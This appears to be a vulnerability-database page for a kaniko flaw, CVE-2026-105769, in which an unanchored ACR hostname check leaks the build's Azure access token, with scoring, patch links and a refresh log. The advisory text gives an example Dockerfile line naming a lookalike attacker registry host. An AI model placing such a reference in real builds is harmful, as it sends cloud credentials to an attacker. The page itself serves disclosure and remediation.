kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https:///oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
CVE-2026-105769
“—” beside the score: it is equal to the CVSS score beside it.
Score 9.3 from GitHub Security Advisory (severity: CRITICAL) published 2026-11-05. A secondary CVSS source baseline 9.3; sources differ by 0.0.
Also known asEUVD-2026-115331 (ENISA EUVD) · GHSA-5q7h-w9jf-cx97 (GitHub Security Advisories) · GO-2026-6902 (OSV.dev)Source: ENISA EUVD
- High severity, but no confirmed exploitation yet
A fix is available — apply it.
Fixed versions, as the CVE record's CNA (Chainguard, Inc.) states them: "Upgrade to kaniko 1.25.20 or later."
- CVSS v3
- 9.3
- EG Score
- 9.3CRITICALhigh confidence
- EG Risk
- 42EG Risk 42/100
EG Risk is EchelonGraph's 0–100 priority score. It fuses impact severity (EG Severity, the CVSS base score, never the KEV-floored or EPSS-lifted EG Score) with real-world exploitation and automatability, under weights EchelonGraph set by hand, so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner.
How it’s computed (value × EchelonGraph’s weight)Severity93% × 45%Impact severity (EG Severity): CVSS 9.3 of 10. Never the KEV-floored or EPSS-lifted EG Score.Exploitation0.2% × 40%FIRST EPSS: the 30-day exploitation probability when EchelonGraph scored this CVE.Automatability0% × 15%CISA's SSVC Automatable value: no (Vulnrichment).SSVC (CISA's decision table, applied by EchelonGraph): Track at low or medium mission impact; Track* at high (mission-essential systems).Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE.Action: A fix is available. Apply it within your standard update timelines. - EPSS PROB
- 0.2%
- EPSS %ILE
- 9th
- KEV
- Not listed
What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)
The EG score (9.3): severity, escalated by confirmed exploitation. This CVE's 9.3 is its impact severity (EG Severity), not escalated.
- EG Severity
- 9.3 CRITICALCVSS-B, impact only: no KEV listing, EPSS or EG-KEV tier raises it.GitHub Security Advisory CVSS
- EG Likelihood
- 0.2% within 30 daysSource: FIRST EPSS (model v2026.06.15, score date 2026-11-13). FIRST's exploitation probability, not an EchelonGraph model.
- Confirmed exploitation
- None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
- EG Priority
- SSVC Track at medium mission impactTrack at low or medium mission impact; Track* at high (mission-essential systems).CISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the SSVC and BOD 26-04 blocks below.
SSVC (CISA's decision table, applied by EchelonGraph)Track at low or medium mission impact; Track* at high (mission-essential systems).
A fix is available. Apply it within your standard update timelines.
Exploitation none (CISA Vulnrichment) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). All three are CISA's SSVC values (Vulnrichment). EchelonGraph applied CISA's decision table to them; CISA publishes SSVC inputs and the table, not a decision for each CVE. Mission impact is CISA's Mission & Well-being decision point, and only you can judge it. CISA's table makes it high when Mission Prevalence is Essential — the vulnerable component "directly provides capabilities that constitute at least one MEF for at least one entity" (MEF: mission essential function) — or when Public Well-Being Impact is Irreversible: "multiple fatalities are likely", the cyber-physical system "is likely lost or destroyed", "extreme or serious externalities" are imposed on other parties, or social systems such as elections or the financial grid "are destabilized and potentially collapse". CISA's decision table
BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.
The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA Vulnrichment) · Technical impact total (CISA Vulnrichment). Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it
Published
November 2, 2026
Last Modified
November 2, 2026
Advisory Details (5)
Auto-updated Nov 2, 2026Azure AD token disclosed to attacker-controlled hosts: ACR hostname pattern is unanchored · Issue #21 · chrismellard/docker-credential-acr-env · GitHub
https://github.com/chrismellard/docker-credential-acr-env/issues/21v1.25.20
Patch available: chainguard-forks/kaniko v1.25.20
https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module
Patch available: chainguard-forks/kaniko v1.25.20 (PR #495 merged 2026-10-26)
https://github.com/chainguard-forks/kaniko/pull/495kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts · Advisory · chainguard-forks/kaniko · GitHub
https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97Vendor Advisories for CVE-2026-105769(1)
These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.
Patch Availability(1)
| Vendor / Ecosystem | Fix (by version range) / Patch | Released | Source |
|---|---|---|---|
| go | github.com/chainguard-dev/kaniko @ 1.25.20 (fixes < 1.25.20) | — | ghsa |
Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.
Affected Packages
(1 across 1 ecosystem)
Go(1)
| Package | Vulnerable range | Fix by version range | Dependents |
|---|---|---|---|
| github.com/chainguard-dev/kaniko | — |
| — |
Weakness Classification(2)
MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.
Data Freshness Timeline
(refreshed 15× in last 7d / 23× in last 30d)
Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed its CVE.org record (CNA or CISA ADP). An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). "EchelonGraph re-scored" is our own recompute of this CVE's score, not an update from a source, and is not counted in the refreshes above. Most recent first.
- 2026-11-13 21:44 UTCEchelonGraph re-scored
- 2026-11-13 21:44 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-13 16:50 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-12 22:42 UTCEchelonGraph re-scored
- 2026-11-12 22:42 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-12 16:32 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-12 00:23 UTCEchelonGraph re-scored
- 2026-11-12 00:23 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-11 16:37 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-11 02:21 UTCEchelonGraph re-scored
- 2026-11-11 02:21 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-10 16:41 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-10 04:08 UTCEchelonGraph re-scored
- 2026-11-10 04:08 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-09 16:34 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-09 06:02 UTCEchelonGraph re-scored
- 2026-11-09 06:02 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-08 16:38 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-08 08:00 UTCEchelonGraph re-scored
- 2026-11-08 08:00 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-07 16:38 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-07 09:58 UTCEchelonGraph re-scored
- 2026-11-07 09:58 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-06 16:35 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-06 11:56 UTCEchelonGraph re-scored
Show 12 moreShow fewer
- 2026-11-06 11:56 UTCGHSA enrichmentGHSA-5q7h-w9jf-cx97 · GitHub severity CRITICAL · GitHub CVSS 9.3
- 2026-11-05 21:55 UTCOSV refresh
- 2026-11-05 16:36 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-05 13:54 UTCEchelonGraph re-scored
- 2026-11-04 16:34 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-03 17:49 UTCEchelonGraph re-scored
- 2026-11-03 16:46 UTCEPSS rescoreEPSS 0.2% · 9th percentile
- 2026-11-02 19:27 UTCEchelonGraph re-scored
- 2026-11-02 18:03 UTCENISA EUVD ID recordedEUVD-2026-115331 · Source: ENISA EUVD
- 2026-11-02 17:18 UTCEchelonGraph re-scored
- 2026-11-02 16:53 UTCEchelonGraph re-scoredFirst assessed: 9.3 CRITICAL
- 2026-11-02 16:51 UTCMITRE cvelistV5first tracked
Related CVEs(same product + same CWE)
Frequently asked(5)
What is CVE-2026-105769?
When was CVE-2026-105769 made public?
Is CVE-2026-105769 actively exploited?
What is the CVSS score of CVE-2026-105769?
How do I remediate CVE-2026-105769?
Dependency Blast Radius
See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-105769
Is Your Infrastructure Affected by CVE-2026-105769?
EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.